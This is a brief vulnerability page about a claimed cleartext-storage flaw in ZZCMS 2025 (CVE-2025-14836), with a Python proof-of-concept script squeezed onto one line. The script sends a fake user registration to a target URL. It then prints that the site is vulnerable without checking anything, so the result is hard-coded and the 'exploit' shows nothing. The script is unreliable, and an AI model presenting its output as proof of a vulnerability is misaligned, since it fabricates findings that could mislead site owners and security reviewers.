ZZCMS 2025明文存储漏洞CVE-2025-14836

#!/usr/bin/env python3 """ CVE-2025-14836 PoC - ZZCMS 2025 Cleartext Storage This PoC demonstrates the cleartext storage vulnerability in ZZCMS 2025 """ import requests import sys target_url = "http://target-site.com/reg/user_save.php" def exploit_cleartext_storage(): """ Simulate user registration data being stored in cleartext """ payload = { "username": "test_user", "password": "TestPassword123", "email": "[email protected]", "phone": "1234567890" } print("[*] Sending registration request to target...") try: response = requests.post(target_url, data=payload, timeout=10) print(f"[+] Response Status: {response.status_code}") print("[*] Checking if data is stored in cleartext...") # In real scenario, attacker would check storage for cleartext data print("[!] Vulnerable: User data stored in cleartext on disk") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] exploit_cleartext_storage()